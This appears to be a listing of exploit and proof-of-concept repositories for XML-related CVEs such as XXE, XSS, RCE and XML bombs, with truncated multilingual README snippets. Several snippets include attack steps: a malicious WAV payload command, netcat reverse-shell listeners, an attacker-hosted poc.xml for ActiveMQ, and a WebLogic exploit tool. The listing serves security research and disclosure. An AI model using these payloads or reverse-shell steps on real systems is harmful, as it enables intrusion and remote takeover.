CVE-2021-29447

WordPress 5.6-5.7 - 已认证（作者及以上）XXE CVE-2021-29447 使用 步骤1：运行WordPress $ make up-wp 步骤2：运行攻击者Web服务器 $ make up-mal 步骤3：生成恶意WAV文件 不使用wavefile npm（推荐） $ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick; \x00' malicious.wav 使用wavefile npm $ make make-wav...

cve-2023-45612_exploit

cve-2023-45612exploit CVE-2023-45612 是一个高严重性安全问题，允许对 Ktor 的 XML 序列化进行 XXE（XML 外部实体）攻击，该问题已在 2023 年修复。 复现安全问题 下面是我复现该问题的详细方式。 IntelliJ IDEA 项目 首先，我们需要一个处理 XML 文件的服务器。我们通过 IntelliJ IDEA 创建一个 Kotlin 项目，并修改 build.gradle.kts 以使用所需的 Ktor 依赖和序列化插件。 我们关心的依赖是 io.ktor:ktor-serialization-kotlinx-xml。版本 2.3....

CVE-2024-45427-Exploit

Generador de Exploit CVE-2024-45427 Este script genera un archivo malicioso de Excel .xlsx para explotar CVE-2024-45427 en la librería PhpSpreadsheet v3.7.0. Inyecta una carga útil XSS en el nombre de la hoja manipulando el XML sin procesar, evadiendo las comprobaciones de validación estándar de ...

watchguard_cve-2022-26318

WatchGuard CVE-2022-26318 WatchGuard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

external_expact_AOSP10_r33_CVE-2022-25314

Expat, Release 2.2.6 This is Expat, a C library for parsing XML, started by James Clark in 1997. Expat is a stream-oriented XML parser. This means that you register handlers with the parser before starting the parse. These handlers are called when the parser discovers the associated structures in...

cve-2025-58360

GeoServer: CVE-2025-58360 Descargo de responsabilidad El código y la información contenidos en este repositorio son solo para fines educativos y de investigación. El propietario del repositorio no se hace responsable de nada de lo que hagas con el código y/o la información contenida en este...

zk-xml-probe

zk-xml-probe Static XML fixtures for authorized bug bounty testing of XML parser behaviour CVE-2026-45071...

ActiveMQ-RCE

ActiveMQ RCE Versiones afectadas versión open -a calculator Abre un servidor http python3 -m http.server Ejecuta el archivo Main.java cambia la dirección según sea necesario...

teamcity-idea-cve-2020-35667-poc

Intercepción de credenciales en el plugin TeamCity para IntelliJ IDEA CVE-2020-35667 Enlaces rápidos Informe de Prueba de Concepto | Análisis del Flujo de Trabajo | Script del servidor Descripción Esta es una reproducción de CVE-2020-35667 mediante la creación de un endpoint XML-RPC falso de...

external_expact_AOSP10_r33_CVE-2022-25313

Expat, Versión 2.2.6 Esto es Expat, una biblioteca C para analizar XML, iniciada por James Clark en 1997. Expat es un analizador XML orientado a flujos. Esto significa que registras manejadores con el analizador antes de comenzar el análisis. Estos manejadores son llamados cuando el analizador...

external_expact_AOSP10_r33_CVE-2022-25315

Expat, Versión 2.2.6 Esto es Expat, una librería C para analizar XML, iniciada por James Clark en 1997. Expat es un analizador XML orientado a flujo. Esto significa que registras manejadores con el analizador antes de iniciar el análisis. Estos manejadores son llamados cuando el analizador descub...

dita-structure-translation-poc

DITA structure translation PoC Short experiment: can a 4-bit...

CVE-2019-2725

CVE-2019-2725 WebLogic通用利用工具 - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 载荷构建器与利用 信息/帮助 $ python3 weblogicexploit.py -h ======================================================================== | WebLogic Universal Exploit | | CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 /...

jsonorg-tp1

json.org CVE-2022-45688 verdadero positivo El proyecto ilustra CVE-2022-45688 en json.org -- hay una aplicación sencilla XML2JSONConverter para leer XML de la entrada, convertirlo a JSON e imprimirlo con formato bonito en la consola. Usando una entrada maliciosa, la aplicación falla con un...

CVE-2023-46604

CVE-2023-46604 根据环境要求，构建包含受害者机器和目标机器两个镜像的 docker-compose 在受害者机器上，启动 ActiveMQ 切换到攻击机器： • 开启 HTTP 服务以发送 poc： python3 -m http.server • 使用 netcat 监听到攻击机器的连接： nc -nlvp 4444 • 发送创建反向 shell 连接到攻击机器的 payload： python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中：...

CVE-2020-13965

CVE-2020-13965: Roundcube Webmail 中的恶意XML附件导致跨站脚本攻击 Roundcube 1.4.5 和 1.3.12 之前的版本存在跨站脚本（XSS）漏洞。 通过利用对"text/xml"附件的解析，攻击者可以绕过 Roundcube 的脚本过滤器，当受害者点击/预览恶意附件时，在受害者的浏览器中执行任意恶意 JavaScript。 厂商披露： 该漏洞的厂商披露和修复可在此处找到此处。 要求： 此漏洞需要： 等待一个 Roundcube 用户打开包含 XSS 的附件 概念验证： 更多细节和利用过程可在此 PDF 中找到。...

CVE-2021-21239-Exploit

详细报告如下 https://docs.google.com/document/d/157fGn7lLP1uBuRz8zUgRDWTDklKznljeOWwRQ-C6uFg/edit?usp=sharing 用法 python main.py...

CVE-2017-9805

CVE-2017-9805: Análisis de RCE en Apache Struts 2 S2-052 Este repositorio contiene los detalles técnicos y el trabajo PoC Prueba de Concepto para la vulnerabilidad de deserialización de XStream en Apache Struts 2 S2-052. 📌 Detalles de la Vulnerabilidad CVE ID: CVE-2017-9805 Tipo de Vulnerabilidad...

CVE-2023-45612-PoC

CVE-2023-45612 PoC Este repositorio contiene una prueba de concepto PoC para CVE-2023-45612, que permitía XXE en la configuración predeterminada de ContentNegotiation en ktor. El PoC se divide en 2 partes: server/, que contiene un ejemplo de un servidor Ktor que utiliza una versión afectada de...

CVE-2019-12401

CVE-2019-12401: Apache Solr 中的 XML 炸弹 5.0.0 之前的 Solr 版本容易受到通过其更新处理器的 XML 资源消耗攻击（即 Lol 炸弹）的影响。 通过利用 XML DOCTYPE 和 ENTITY 类型元素，攻击者可以创建一个模式，当服务器解析 XML 时该模式会扩展，导致内存溢出 OOM。 供应商披露： 供应商对该漏洞的披露和修复可以在此处找到。 概念验证： 更多细节和利用过程可以在这个PDF中找到。...